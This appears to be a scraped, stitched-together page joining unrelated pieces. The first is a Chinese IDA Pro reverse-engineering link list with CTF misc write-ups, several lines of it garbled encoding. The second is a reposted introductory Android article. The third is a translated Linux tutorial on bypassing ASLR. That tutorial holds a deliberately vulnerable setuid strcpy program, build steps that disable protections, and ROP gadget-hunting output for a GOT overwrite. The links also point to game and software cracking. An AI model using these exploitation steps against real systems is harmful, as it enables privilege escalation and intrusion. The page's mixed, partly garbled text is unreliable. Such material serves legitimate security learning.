IDA Pro 逆向速参(链接)
IDA Pro 逆向速参(链接)
整理:PeterDocter
逆向准备
【 IDA】使用IDA load file功能,导入JNI.h解析【JNI 函数】 - CSDN博客
IDA Pro 导入jni.h头文件定义 - CSDN博客
[讨论]IDA中F5功能反编译安卓平台的so文件得到的一个很奇怪的函数-『Android安全』-看雪安全论坛
Android调用JNI本地方法跟踪目标代码 - 山岚的一缺 - 博客园
http://www.blogbus.com/riusksk-logs/223211317.html
X86调用约定
调用约定(pascal,fastcall,stdcall,thiscall,cdecl)区别等 - CSDN博客
函數調用方式: stdcall cdecl fastcall WINAPI CALLBACK PASCAL thiscall fortran syscall declspec(naked) - textbox - IT博客
Calling Conventions Hunting | Security et alii
Guide to x86 Assembly
函数调用方式 - CSDN博客
函数的调用规则(__cdecl,__stdcall,__fastcall,__pascal) - CSDN博客
Linux下如何指定调用约定(calling convention)_Linux教程_Linux公社-Linux系统门户网站
ARM 调用约定 calling convention - OpenXC - 博客园
常用功能
IDA的导航条 - CSDN博客
IDA PRO的流程图功能 - CSDN博客
使用IDA 分析高级数据结构 - CSDN博客
IDA 使用小结 - sld666666 - 博客园
NameBright - Coming Soon
IDA 操作技巧总结(不停更新) - WanChouchou - 博客园
IDA初学者笔记之字符串分析 – 免费实用绿色软件
使用IDA的通用解压插件 - CSDN博客
使用IDC分析加密代码 - CSDN博客
看雪安全论坛
IDA 插件 idbtopat.plw的用途 - CSDN博客
IDAPython的妙用 - CSDN博客
浅谈IDA脚本在漏洞挖掘中的应用 - 博客 - 腾讯安全应急响应中心
[转帖]两个IDA PRO的插件:IDApython & IDAperl-IDA Pro插件收集区-看雪安全论坛
IDA pdb 自动下载 - CSDN博客
[分享]让WinDbg、IDA、VC自动下载符号表-『软件逆向』-看雪安全论坛
IDA修改程序反汇编代码基址 _ 程序人生
[推荐]IDA sp-analysis failed 不能F5的 解决方案之(一)-『软件逆向』-看雪安全论坛
[推荐]IDA sp-analysis failed 不能F5的 解决方案之(二)-『软件逆向』-看雪安全论坛
关于IDA显示中文字符串的问题 _ 程序人生
[原创][201605014已更新,支持了Unicode及各国字符集编码识别]改善IDA6.8对中文等非英语国家的ANSI字符串显示支持不佳的问题-『资源下载』-看雪安全论坛
Binary Cracking & Byte Patching with IDA Pro - CodeProject
http://ctf.idf.cn/index.php?g=portal&m=article&a=index&id=33
http://ctf.idf.cn/index.php?g=&m=article&a=index&id=34
Reversing C++ programs with IDA pro and Hex-rays at Aris’ Blog - Computers, ssh and rock’n roll
静态分析
http://www.ituring.com.cn/article/26962
http://www.52pojie.cn/thread-237886-1-1.html
IDA破解apk的初次尝试 - CSDN博客
Reverse Engineering破解Android NDK/JNI程式(*.so) | 阿成的技術部落格 - 點部落
google play 破解(一):钻石修改 - 低调の天空之城
以TTX连萌来多层次分析游戏破解 - 听鬼哥说故事 - CSDN博客
[原创]记一次安卓游戏破解-『Android安全』-看雪安全论坛
http://0nly3nd.sinaapp.com/?p=384
http://www.52pojie.cn/thread-390537-1-1.html
IDA如何识别ARM的main函数 - CSDN博客
��IDA��������STM32С���� - �������뵥Ƭ���� - ��ʯ��������̳ - Powered by Discuz!
IDA反编译ARM静态链接程序 - CSDN博客
IDA反汇编学习-转sanfengflying新浪博客
汇编中的call和ret - Mo cuishle - 博客园
http://sxcode.tap.cn/index/article-21nf1p3cq0104
IDAʵ���̳̣��о�̬�ѿ�ʾ����
利用IDA Pro反汇编程序 - vento - 博客园
�ٶ�–���ķ��ʳ�����
[IDA] 分析for循环的汇编代码 - hoodlum1980 - 博客园
IDA学习笔记–VS2008按钮事件捕捉 - CSDN博客
Windows消息大全————IDA使用 - r3call - 博客园
SlickeEdit 2014 | Zhiwei Li
http://zhiwei.li/text/2013/10/hopper-disassembler%E4%BF%AE%E6%94%B9%E4%B8%80%E5%AD%97%E8%8A%82%E8%A7%A3%E9%99%A4%E9%99%90%E5%88%B6/
Genymotion破解 | Zhiwei Li
http://itpark.sinaapp.com/thread-index-fid-4-tid-121.htm
IDA Pro逆向实战之Crackme(简单篇) - CSDN博客
Applied Cracking & Byte Patching with IDA Pro
动态分析
IDA配套真机ROM修改教程 - Android安全 - 逆向未来技术社区 - Powered by Discuz!
看雪安全论坛
Android双机(网络和USB)调试及其完美ROOT - 银河使者 - 博客园
刷机包获取ROOT权限方法-木子学院
http://itdreamerchen.com/%E4%BD%BF%E7%94%A8ida%E8%B0%83%E8%AF%95apk%E4%B8%AD%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E7%9A%84-so%E5%BA%93/
http://itdreamerchen.com/ida%E8%B0%83%E8%AF%95apk%E4%B8%AD%E5%8A%A0%E8%BD%BD%E7%9A%84so%E5%BA%93%E4%B9%8B%E6%96%B9%E6%B3%95%E4%BA%8C/
跟着鬼哥学so修改,三,作业篇 - 听鬼哥说故事 - CSDN博客
http://drops.wooyun.org/mobile/5942
Android逆向经验总结 - CSDN博客
使用IDA调试android的c程序
软件逆向工程 | Zhiwei Li
利用IDA6.6进行apk dex代码动态调试 - bamb00 - 博客园
IDA动态调试Android的DEX文件 - CSDN博客
http://www.52pojie.cn/thread-293648-1-1.html
http://drops.wooyun.org/tips/6840
http://www.kechuandai.net/ida-pro%E8%B0%83%E8%AF%95android-apk%E7%9A%84%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93/
IDA远程调试so库JNI_Onload函数 - 太尼玛菜了 - 博客园
http://0nly3nd.sinaapp.com/?p=649
http://1.honebl.sinaapp.com/?p=213
http://www.blogbus.com/riusksk-logs/271566148.html
android在JNI_OnLoad入口函数下断点动态调试so库 - WanChouchou - 博客园
ida动态调试so,在init_array和JNI_ONLOAD处下断点 - CSDN博客
apk文件分析原则 - 寻步 - 博客园
ARM学习笔记(四) - CSDN博客
ARM指令机器码学习——反汇编必学(作者:wogoyixikexie@gliet) - CSDN博客
http://www.52pojie.cn/thread-356096-1-1.html
菜鸟总结so分析,arm 汇编,IDA静态分析 - Android安全 - 逆向未来技术社区 - Powered by Discuz!
[原创]Android逆向so文件,调试加解读-『Android安全』-看雪安全论坛
[原创]Android逆向so文件,调试加解读-『Android安全』-看雪安全论坛
Android native反调试方式及使用IDA绕过反调试 - CSDN博客
IDA调试原生程序-ckelsel-ChinaUnix博客
IDA调试遇到的问题 - ——傻 孩 子 - 博客园
用IDA Pro调试iPhone应用程序 | Zhiwei Li
IDA + GDBServer实现iPhone程序远程调试 - CSDN博客
IDA6.1远程调试Mac OS X程序 | Zhiwei Li
看雪安全论坛
使用IDA的调试器 - CSDN博客
使用IDA的跟踪功能 - CSDN博客
使用IDA 进行远程调试 - CSDN博客
IDA 教程-隐藏 IDA 调试器 - CSDN博客
IDA 教程-脚本化的调试器 - CSDN博客
IDA调试Windows 内核 – obaby@mars
��IDA�ĵ��������ֹ��ѿǣ�PE��ʽ�ļ���
实战IDA PE+ DLL脱壳 – obaby@mars
IDA + Debug 插件 实现64Bit Exe脱壳 – obaby@mars
Applied Reverse Engineering with IDA Pro
debugging - How to debug the DLL of an EXE using IDA Pro? - Reverse Engineering Stack Exchange
IDA 教程-WINCE ARM 调试器入门教程 - CSDN博客
域名不存在 - powered by dnsdun.com
[原创]IDA Pro 5.0 动态调试 Smartphone 程序方法-『软件逆向』-看雪安全论坛
[原创]IDA远程调试WINCE程序的环境搭建-『智能设备』-看雪安全论坛
[原创]用IDA调试wince灵图13GPS程序-『智能设备』-看雪安全论坛
IDA动态调试病毒样本准备工作 - 小金马 - 博客园
http://drops.wooyun.org/tips/4523
脚本编写
ida idc函数列表全集 - Y4ng - 博客园
关于idapython编程的资料-fcc_load
Loading your own modules from your IDAPython scripts with idaapi.require() – Hex Blog
过掉百度加固的java层调试-fcc_load
IDAPython的妙用 - CSDN博客
��IDAPython��ȡ������ִ������(������������) - lixiangdong2510@126����־ - ���ײ���
使用IDAPYTHON跟踪程序执行路径-未加壳 - CSDN博客
[原创]实战IDA脚本编程–用idc实现JumpNotFunction-IDA Pro插件收集区-看雪安全论坛
浅谈IDA脚本在漏洞挖掘中的应用 - 博客 - 腾讯安全应急响应中心
[原创]破解方正软件保护卡管理员密码-『软件逆向』-看雪安全论坛
[原创][原创]Android IDA 脚本解中文字串-『Android安全』-看雪安全论坛
菜鸟IDA python调试脚本 - Android安全 - 逆向未来技术社区 - Powered by Discuz!
菜鸟Dump Memory python 脚本 - Android安全 - 逆向未来技术社区 - Powered by Discuz!
http://drops.wooyun.org/tips/11849
http://drops.wooyun.org/tips/12060
IDAPython:让你的生活更美好(一) - FreeBuf.COM | 关注黑客与极客
IDAPython:让你的生活更美好(二) - FreeBuf.COM | 关注黑客与极客
IDAPython:让你的生活更美好(三) - FreeBuf.COM | 关注黑客与极客
IDAPython:让你的生活更美好(四) - FreeBuf.COM | 关注黑客与极客
IDAPython:让你的生活更美好(五) - FreeBuf.COM | 关注黑客与极客
【移动安全】ida idc脚本实现加密指令修改 - CSDN博客
实验吧 杂项
1. xor解密:
lovelovelovelovelovelovelovelove
���V���
��
�0�
�0�
�0��
������
# -*- coding:utf-8 -*-
a =open('1.txt','rb').read()
b =open('2.txt','rb').read()
lut = ' '
foriinrange(0,len(a)):
res =ord(list(a)[i]) ^ord(list(b)[i])
lut=lut +chr(res)
print lut
2.
竟然有个神奇的加密方式和蛇有关 http://serpent.online-domain-tools.com/,记录下网址
3.
defrevStr(s):
news=' '
foriinxrange(0,len(s),4):
news += s[i+2:i+4]
news += s[i:i+2]
returnnews
deffoo():
f=open('1')
s='377a'
forlineinf:
s+=revStr(line.strip()[8:].replace(' ',''))
fsave=open('1.txt','wb')
fsave.write(s)
fsave.close()
pass
if__name__ =='__main__':
foo()
print 'finished'
7z脚本,加上文件头,并把换行,序号去掉,每四个数前俩和后俩交换位置。但是最后储存的时候,还需16进制导入010再另存为.7z格式
4.
用prosessing将16进制转换为图片。
size(256,256);
String[] str = loadStrings("1.txt");
for(int i=0;i<65536;i++){
if(str[0].charAt(i)=='1'){
point(i/256,i%256);}
}
5.BAT公司信息查询系统
这个题 怪扎心的,点进去是一个表单,无论提交什么都出现同样的东西。查看页面源代码,就两个可以点的一个css和一个php,php点开什么都没有,点开css找到了一个图片,加在url后面得到一张二维码的图片,扫描二维码得到一个txt,里面有个奇奇怪怪的东西,还有个php,加在后面,然后更奇怪的出来了:┼攠數畣整爠煥敵瑳∨灯捲≤┩>,据说这个是ansi编码,需要另存为unicode编码然后再用010导入的方式打开就行了。(不知道为什么我另存的时候需要换个名字,要不以16进制打开的方式还是会错。)
6.抓到你了
打开wireshark,ping用的协议是icmp,所以过滤条件就写icmp,依次查看报文,发现第二条有data,而且是16字节,就是他了。
7.2015RCTF(misc50)
腊鸡题看代码看的我眼疼,下载下来之后拖进010里面,发现是个rar,改后缀名,用sublime打开,是sqlmap跑出来的东西。ctrl+f搜索column_name爆字段名字的,这个的下面就是报flag的字段,
从第一个flag到最后一个flag,url解码,会出现二分法爆flag表的flag字段内容,代表着每一位爆出来的字符的ascii码,将 != 后面的数字拿出来ascii解码即可。
8.NSCTF misc250
这个题看的writeup,下载来的pcapng用wireshark打开,然后在左上角点击,文件—导出对象—http—save all
得到两个文件,一个是%5c,一个是压缩文件,压缩文件需要密码
我们先看%5c,仍winhex,发现是html,改后缀打开,告诉我们密码是nsfocus+5位数字
这应该就是rar的密码,直接掩码破解,还是很快的。然后打开rar压缩包就可以了。
9.deeeeeeaaaaaadbeeeeeeeeeef-200
腊鸡火狐,图片根本打不开,换到谷歌里面,将图片保存,然后托到010里面,画图打开,根本看不懂啊,这个字怪酷的,看了下前面的信息图片是iPhone5拍摄的,查了下iphone5的分辨率,发现图片大小不一样,改一下就行了,然后就找到key了。
10.A记录
cap的数据包果断需要用wireshark分析.不过这里我们需要查询dns请求,所以需要解密cap(必须要有essid,password),甩到kali
aircrack-ng这个命令挺强的,百度的时候看到了好多可以用来破解wlan的教程,本来想试下的,但是我没有无线网卡啊,这就很尴尬了。
解完有个新的cap,打开搜索dns就能看到了。
11.绕
打开题目链接是个表单,先查看页面源代码,发现了下面这一段
_='function $(){�e=�getEle�ById("c").value;�length==16�^22a60b�0b310�e5ece$�0ebe5�){�t�U2FsdG�S481hY�7lo/�IBh2Waw==�n�VkX182�9lDS37�Dtcv78qFew�r�eA/�kNjZ1UZ�6LuMTMoP2�i�8U/2KZ�tCckgQoGA�mEapD0Y�s=[t,n,r,i];for(�o=0;o<13;++o){�[0]);�.splice(0,1)}}}\'< onclick=$()>Ok\');delete _����var �","�docu�.�)�match(/�"];��/)!=null�=["�write(�s[o%4]button�if(e.�ment';for(Y in $='�����������')with(_.split($[Y]))_=join(pop());eval(_)
我是用谷歌做的,直接f12有个console模块,将eval改成console.log,出来的内容,看下这一块
if(e.length==16)if(e.match(/^22a60b/)!=null)if(e.match(/0b310/)!=null)if(e.match(/e5ece$/)!=null)if(e.match(/0ebe5/)!=null)
拼接下得到22a60b310ebe5ece,提交到表单中,得到U2FsdGVkX182eA/8U/2KZS481hY9lDS37kNjZ1UZtCckgQoGA7lo/Dtcv78qFew6LuMTMoP2mEapD0YIBh2Waw==,又是aes对称加密,名字MD5加密,解密得到ctf%7BConsole.log%28shiyanbar%29%7D,再url解码就行了
12.雌黄出其唇吻
访问网页,只有一串字符串,而且刷新后还会变,F12查看页面源代码,什么都没有发现,网址http://ctf5.shiyanbar.com/misc/10/,加个爬虫的文件试试,于是访问http://ctf5.shiyanbar.com/misc/10/robots.txt,发现都是disallow,不能访问,但是右面进度条还没到底,拉到最下面是一个xml,于是访问http://ctf5.shiyanbar.com/misc/10//sitemap87591u096080.xml,看到两个php,/flag1241098092ewiuqu9t53.php 访问得到base加密的字符串,解密即可
13.女神
下载题目给的压缩包,解压有个txt还有一个文件夹,把文本里面的内容拿去base64解码,得到PNG开头的内容,我是将解码的内容存到txt里面又导入到010里面,但是图片就是不能打开,看了下wp,直接在python里面,open('nvshen.png','wb').write(open('C:\\Users\\cws6\\Desktop\\nvshen.txt','rb').read().decode('base64')),一个命令就搞定了,图片去百度识图就行了,对名字是中文不要符号。
14.XDCTF misc100
下载出来是两张一模一样的图片,原以为是得用steglove分析,但是看到题目提示说是brainfuck,就直接用bftools就行了,和隐写里面的brainfuck一样的操作方式。
G:\tools\信息隐藏\bftools>bftools.exe decode braincopter C:\Users\cws6\Desktop\zzzzzzyu.png --output --out.png
G:\tools\信息隐藏\bftools>bftools.exe run --out.png
15.XDCTF misc200
密码分析中,已知明文攻击(Known plaintext attack)是一种攻击模式,指攻击者掌握了某段明文 x 和对应密文 y。在所有密码分析中,均假设攻击者知道正在使用的密码体制,该假设称为Kerckhoff假设。而已知明文攻击也假设攻击者能够获取部分明文和相应密文,如截取信息前段,通过该类型攻击获取加密方式,从而便于破解后段密文。希尔密码依赖唯密文攻击较难破解,而通过已知明文攻击则容易攻破。(说了那么多,这道题其实就是知道了readme.txt的明文和密文,然后得到Encryption key
下载下来不知道是个什么格式的东西,拖到010里面,找打了五个zip压缩包,但是名字改成.zip解压需要密码,看wp说是有两个压缩包,但是我找到了五个啊。。本来想着直接010阶段分开的,但是不知道为什么只把后两个截出来的话前面就死了,然后就foremost分离了,得到两个压缩包
root@kali:~# foremost '/root/Desktop/areyoukidding'
两个readme.txt的CRC相同,所以这应该就是相应的明文和密文,使用ARCHPR
得到所示的三个密钥就可以解密了,解压后的文件夹中的flag.txt就是flag
16.你有记日志的习惯吗
不知道该怎么形容这个题,下载的时候那么大,其实是很懵的这要找到啥时候啊,然后默默翻了下评论,在\www\lampp\etc这个文件下面有个my.cnf 搜索key得到password=YouGotIt!@#$
17.这是捕获的黑客攻击数据包,Administrator用户的密码在此次攻击中泄露了,你能找到吗?
通过观察可以大概判断192.168.30.101 给服务器上了菜刀。因为菜刀是以POST方式发送数据的,我们过滤http,然后查看那些post,随便打开一条,在下面HTML里面可到BASE64加密后的Value值,通过解密就可以很显示的看到菜刀指令。可以将那些value值都base64解码一下,很快就能找到了。
18.Only one file
下载下来拖到binwalk里面
binwalk /root/Desktop/onlyOneFile
不知道为啥我没用-e直接解出来了。。然后将图片合成一张
cat /root/Desktop/onlyOneFile1/* > one.png
图片拖到010里面没找到什么有用的东西,又用steglove还是没找到什么东西,看下面评论说是adobe firework的,我们需要用firework打开,百度了下这个东西,就不想安装了,ps打开还不行就不做了。。据说是这个里面有个二维码反色下扫描就行了。
Android开发笔记第二篇(Android 手机概念)
本文来自安卓巴士开发网
Android 手机新概念
操作系统的选择--定制和长尾
� 重构
� MVC 和 Web APP 架构
Android 开发背景
� 计算技术、无线接入技术的发展,使嵌入式系统逐渐有能力对桌面系统常规业务进行支持。
� 谷歌长期以来奉行的移动发展战略:通过与全球各地的手机制造商和移动运营商结成合作伙伴,开发既
有用又有吸引力的移动服务,并推广这些产品。Android 进一步推进了"随时随地为每个人提供信息"这一企业
目标的实现。
� Open Handset Alliance 汇集了多家业界巨头。运营商如:China Mobile、NTT DoCoMo、Vodafone、T-Mobile
等;设备制造商如 ASUS、HTC、Huawei、LG、Motorola、Samsung、Sony Ericsson、Toshiba 等;芯片厂商
如 ARM、Broadcom、Intel、Marvell、NVIDIA、Qualcomm 等。软件厂商如 Ascender、eBay、Esmertec、LivingImage
等。
� Android 更像一款桌面环境为 Java 的 Linux 操作系统。有助于 Google 实现其"随时随地为每个人提供信
息"的企业战略。
HTC Dream/G1 具体配置
硬件
3.17 英寸 HVGA (480 x 320) ;1150mAh 电池 ;高通 528Mhz 7201 处理器 ;64MB RAM、128MB ROM ;1GB
MicroSD 卡 ;QWERTY 全键盘;310 万像素摄像头。
流媒体
支持视频格式:H.264、流媒体、3GPP、MPEG4 和 Codec 3GP ;支持音频格式:MP3、AAC、AAC+、WMA、
MPEG4、WAV、MIDI、REAL、AUDIO 和 OGG;支持墙纸格式:JPG、BMP、PNG 和 GIF ;铃声(MP3、
AAC、AAC+和 WMA)。
接入技术
蓝牙(class 1) ;四频(850,900,1800,1900);支持 3G,802.11b 和 802.11g。
互联网
支持 HTTP、WAP Push 和 xHTML;支持 POP、IMAP、SMTP,以及 AOL 和 GMAIL 电子邮件服务;支持 AIM、
MSN、雅虎通和 GTALK;与谷歌日历同步;与 Android Market 联机;支持谷歌“街景”服务;包装盒内附
数据工具包。
更多信息https://sites.google.com/a/andro ... ce/release-features
Android 盈利模式
Android 的 App Market 模式,软件开发者获得 7 成收入,3 成用于系统维护。难点在于位置营销。
设备商通过卖设备、内置特色应用来获得盈利。也可以兼职专业软件开发者进行赢利。
Google 自身通过基于统一平台为用户提供信息来盈利。
Android 的优势
� 源代码完全开放,便于开发人员更清楚的把握实现细节,便于提高开发人员的技术水平,有利于开发出
更具差异性的应用。
� 采用了对有限内存、电池和 CPU 优化过的虚拟机 Dalvik,Android 的运行速度比想象的要快很多。
� 运营商(中国移动等)的大力支持,产业链条的热捧。
� 良好的盈利模式(3/7 开),产业链条的各方:运营商、制造商、独立软件生产商都可以获得不错的利益 。
将移动终端的评价标准从硬件向软件转变,极大的激发了软件开发者的热情。
� Android 的源代码遵循 Apache V2 软件许可,而不是通常的 GPL v2 许可。有利于商业开发。
� 具有强大的 Linux 社区的支持。
Android 的不足
� 由于采用了 Java 作为应用开发语言,目前可用的传统第三方应用还很少,但由于 Android 是一款完全开
源的移动计算平台,相信第三方应用会很快的丰富起来。
� Google 提供了一套 Java 核心包(J2SE 5,J2SE 6)的有限子集,尚不承诺遵守 Java 任何 Java 规范,可能会造
成Java 阵营的进一步分裂。
� 现有应用完善度不太够,需要的开发工作量较大。
� 基于 QEMU 开发的模拟器调试手段不十分丰富,只支持通话、SMS等,速度慢。
� 暂不具备 Push Mail 和 Office(DataViz、 QuickOffice 计划近期推出)功能,目前主要面向的是普通消费者
用户,对商业用户支持尚弱。
Android 带来的影响
ANDROID 的推出后可能影响的产业包括移动电信业,软件开发业,手机制造业,在以消费者为核心的状态 。
对消费者的影响
� 高档手机选择面增加。
� Android 在设计初期就考虑了与现其有业务的融合,改变以往从计算机为主改成从手机使用为导向。新
生应用如:Google 地图及其衍生应用、GMail、GTalk 等。
� GPS 卫星导航功能,手机照相,MP3,蓝芽等均被列为 Android 所提供支持的基本选项。
� Android 的平台基本上是免费的,虽然有部份原生链接库会要求费用,但大部份是免权利金;Android 的
程序可以采用 JAVA 开发,但是因为它的虚拟机(Virtual Machine) Dalvik,是将 JAVA 的 bytecode 转成自
己的格式,回避掉需要付给 SUN 有关 JAVA 的授权费用。
对手机制造者的影响
� Android 是款开源的移动计算软件平台,组建了 google 主导的拥有众多产业界巨头的产业联盟,有利于
高效开发、降低成本。
� 由于是源代码开放的产品,对非主导厂商而言,可以避开与主导厂商在核心技术上面的差距,开发出更
具竞争力和差异化的产品。
对运营商的影响
� 丰富的数据业务,将导致数据流量的显著增加 。
� 手机来源增加,价格更为低廉。
对软件开发者的影响(本文来自安卓巴士开发网)
� 因为 Android 移动软件平台抱持开放互通的观念,势必吸引不少自由软件的拥护者。
� 开发方向有三个重点:
应用软件的开发
特殊功能的原生链接库
专属应用程序框架
� 由于 Android 的App Market 性质,可能催生出专门的应用软件开发商。
Android 应用现状
� 设备商:lenovo、琦基、戴尔、三星、摩托罗拉、华为、英特尔、Kogan、索爱、华硕、多普达、爱可视 、
Archos 等。
� 制造商:HTC、Telstra 等。
� 手机设计公司:播思、德信无线等。
� 运营商:中国移动、Sprint、T-Mobile、Teleca AB 等。
� 芯片商:Qualcomm、Marvell、TI、Boardcom 等。
本文原帖地址:http://www.apkbus.com/forum.php?mod=viewthread&tid=13305
本文转自qianqianlianmeng博客园博客,原文链接:http://www.cnblogs.com/aimeng/archive/2011/08/30/2159148.html,如需转载请自行联系原作者
Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
绕过 ASLR – 第三部分
译者:飞龙
原文:Bypassing ASLR – Part III
预备条件:
经典的基于栈的溢出
绕过 ASLR – 第一部分
VM 配置:Ubuntu 12.04 (x86)
在这篇文章中,让我们看看如何使用 GOT 覆盖和解引用技巧。来绕过共享库地址随机化。我们在第一部分中提到过,即使可执行文件没有所需的 PLT 桩代码,攻击者也可以使用 GOT 覆盖和解引用技巧来绕过 ASLR。
漏洞代码:
// vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main (int argc, char **argv) {
char buf[256];
int i;
seteuid(getuid());
if(argc < 2) {
puts("Need an argument\n");
exit(-1);
}
strcpy(buf, argv[1]);
printf("%s\nLen:%d\n", buf, (int)strlen(buf));
return 0;
}
编译命令:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注意:
system@PLT并没有在我们的可执行文件vuln中出现。
字符串sh也没有在我们的可执行文件vuln中出现。
什么是 GOT 覆盖?
这个技巧帮助攻击者,将特定 Libc 函数的 GOT 条目覆盖为另一个 Libc 函数的地址(在第一次调用之后)。但是它也可以覆盖为execve函数的地址 – 当偏移差加到GOT[getuid]的时候。我们已经知道了,在共享库中,函数距离其基址的偏移永远是固定的。所以,如果我们将两个 Libc 函数的差值(execve和getuid)加到getuid的 GOT 条目,我们就得到了execve函数的地址。之后,调用getuid就会调用execve。
offset_diff = execve_addr - getuid_addr
GOT[getuid] = GOT[getuid] + offset_diff
什么是 GOT 解引用?
这个技巧类似于 GOT 覆盖,但是这里不会覆盖特定 Libc 函数的 GOT 条目,而是将它的值复制到寄存器中,并将偏移差加到寄存器的内容。因此,寄存器就含有所需的 Libc 函数地址。例如,GOT[getuid]包含getuid的函数地址,将其复制到寄存器。两个 Libc 函数(execve和getuid)的偏移差加到寄存器的内容。现在跳到寄存器的值就调用了execve。
offset_diff = execve_addr - getuid_addr
eax = GOT[getuid]
eax = eax + offset_diff
这两个技巧看起来类似,但是当缓冲区溢出发生时,如何在运行时期执行这些操作呢?我们需要识别出一个函数(它执行这些加法,并将结果复制到寄存器),并跳到特定的函数来完成 GOT 覆盖或解引用。但是很显然,没有单一的函数(不在 Libc 也不在我们的可执行文件中)能够为我们做这些。这里我们使用 ROP。
什么是 ROP?
ROP 是个技巧,其中攻击者一旦得到了调用栈的控制之后,他就可以执行精心构造的机器指令,来执行它所需的操作,即使没有直接的方式。例如,在 return-to-libc 攻击中,我们将返回地址覆盖为system的地址,来执行system。但是如果system(以及execve函数族)从 Libc 共享库中溢出了,攻击者就不能获得 root shell。这时,ROP 就可以拯救攻击者。在这个技巧中,即使任何所需的 Libc 函数都不存在,攻击者可以通过执行一系列的零件(gadget),来模拟所需的 Libc 函数。
什么是零件?
零件是一系列汇编指令,它们以ret汇编指令结尾。攻击者使用零件地址来覆盖返回地址,这个零件包含一系列汇编指令,它们类似于system开头的一些汇编指令。所以,返回到这个零件地址,就可以执行一部分system的功能。system功能的剩余部分,通过返回到一些其他零件来完成。由此,链接一系列的零件可以模拟system的功能。因此system即使移除了也能够执行。
但是如何在可执行文件中找到可用的零件?
可以使用零件工具来寻找。有很多工具,例如 ropeme、ROPgadget、rp++,它们有助于攻击者在二进制中寻找零件。这些工具大多都寻找ret指令,之后往回看来寻找实用的机器指令序列。
在我们这里,我们并不需要使用 ROP 零件俩模拟任何 Libc 函数,反之,我们需要覆盖 Libc 函数的 GOT 条目,或者确保任何寄存器指向 Libc 函数地址。让我们看看如何使用 ROP 零件来完成 GOT 覆盖和解引用吧。
使用 ROP 的 GOT 覆盖
零件 1:首先我们需要一个零件,它将偏移差加到GOT[getuid]上。所以让我们寻找一个add零件,它将结果复制到内存区域中。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080486fb: addb %dh, -0x01(%esi,%edi,8) ; jmpl *0x00(%ecx) ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
...
$
好的。我们找到了一个add零件,它将结果复制到内存区域中。现在如果我们可以使 EBX 包含GOT[getuid] - 0x5d5b04c4,并使 EAX 包含偏移差,我们就可以成功执行 GOT 覆盖。
零件 2:确保 EBX 包含getuid的 GOT 条目。getuid的 GOT 条目(在下面展示)位于0x804a004。因此 EBX 应该为0x804a004,但是由于add零件中,固定值0x5d5b04c4加到了 EBX,所以 EBX 应减去这个固定值,也就是ebx = 0x804a004 -0x5d5b04c4 = 0xaaa99b40。现在我们需要寻找一个零件,它将这个值0xaaa99b40复制到 EBX 寄存器中。
$ objdump -R vuln
vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT printf
0804a004 R_386_JUMP_SLOT getuid
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$
好的,我们找到了pop ebx零件。因此将该值0xaaa99b40压入栈,并返回到pop ebx之后, EBX 包含0xaaa99b40。
零件 3:确保 EAX 包含偏移差。因此我们需要找到一个零件,它将偏移差复制到 EAX 寄存器中。
$ gdb -q vuln
...
(gdb) p execve
$1 = {} 0xb761a1f0
(gdb) p getuid
$2 = {} 0xb761acc0
(gdb) p/x execve - getuid
$4 = 0xfffff530
(gdb)
...
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 1
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
65 found.
A total of 65 gadgets found.
...
0x080484a3: popl %ebp ; ret ; (1 found)
0x080485cf: popl %ebp ; ret ; (1 found)
0x08048618: popl %ebp ; ret ; (1 found)
0x08048380: popl %ebx ; ret ; (1 found)
0x08048634: popl %ebx ; ret ; (1 found)
...
$
因此将偏移差0xfffff530压入栈中,并返回到pop eax指令,将偏移差复制给 EAX。但是不幸的是,在我们的二进制vuln中,我们不能找到popl %eax; ret;零件。因此 GOT 覆盖是不可能的。
栈布局:下面的图片描述了用于完成 GOT 覆盖的零件链。
使用 ROP 的 GOT 解引用
零件 1:首先我们需要一个零件,它将偏移差加到GOT[getuid],并且它的结果需要加载到寄存器中。所以让我们寻找一个add零件,它将结果复制到寄存器中。
$ ~/roptools/rp++ --atsyntax -f ./vuln -r 4
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the AT&T syntax..
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
in LOAD
166 found.
A total of 166 gadgets found.
...
0x08048499: addl $0x0804A028, %eax ; addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x0804849e: addl %eax, 0x5D5B04C4(%ebx) ; ret ; (1 found)
0x08048482: addl %esp, 0x0804A02C(%ebx) ; calll *0x08049F1C(,%eax,4) ; (1 found)
0x0804860e: addl -0x0B8A0008(%ebx), %eax ; addl $0x04, %esp ; popl %ebx ; popl %ebp ; ret ; (1 found)
...
$
好的。我们找到一个add零件,它将结果复制到寄存器中。现在如果我们可以使 EBX 包含GOT[getuid] + 0xb8a0008,并使 EAX 包含偏移差,我们就可以成功执行 GOT 解引用。
零件 2:我们在 GOT 覆盖中看到,可执行文件vuln中找到了pop %ebx; ret;。
零件 3:我们在 GOT 覆盖中看到,可执行文件vuln中没有找到pop %eax; ret;。
